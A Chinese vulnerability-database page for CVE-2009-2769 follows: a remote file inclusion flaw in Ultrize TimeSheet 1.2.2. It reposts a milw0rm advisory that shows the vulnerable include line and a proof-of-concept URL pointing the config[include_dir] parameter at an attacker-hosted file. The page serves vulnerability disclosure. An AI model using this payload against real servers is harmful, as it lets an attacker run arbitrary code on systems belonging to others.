ultrize timesheet 'include/timesheet.php' 代码注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1118200 漏洞类型 代码注入
发布时间 2009-07-28 更新时间 2009-07-28
CVE编号 CVE-2009-2769 CNNVD-ID CNNVD-200908-187
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/9297
https://www.securityfocus.com/bid/43444
https://cxsecurity.com/issue/WLB-2009080127
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200908-187
|漏洞详情
UltrizeTimeSheet1.2.2版本中的include/timesheet.php存在PHP远程文件包含漏洞。当register_globals被激活时,远程攻击者可以借助config[include_dir]参数中的一个URL,执行任意的PHP代码。
|漏洞EXP
=====================================================================================


  [o] Ultrize TimeSheet 1.2.2 Remote File Inclusion Vulnerability

       Software : Ultrize TimeSheet version 1.2.2
       Vendor   : http://www.ultrize.com/
       Download : http://www.ultrize.com/timesheet/download/timeSheet-20080505.zip
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


=====================================================================================


  [o] Vulnerable file


       include($config['include_dir'].'timesheet.class.php');

        include/timesheet.php



  [o] Exploit

       http://localhost/[path]/include/timesheet.php?config[include_dir]=[evilc0de]


=====================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://mainhack.net ]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang
       H312Y yooogy mousekill }^-^{ loqsa zxvf martfella
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke

        
=====================================================================================

# milw0rm.com [2009-07-28]
|受影响的产品
Ultrize TimeSheet 1.2.2
|参考资料

来源:MILW0RM
名称:9297
链接:http://www.milw0rm.com/exploits/9297
来源:SECUNIA
名称:36033
链接:http://secunia.com/advisories/36033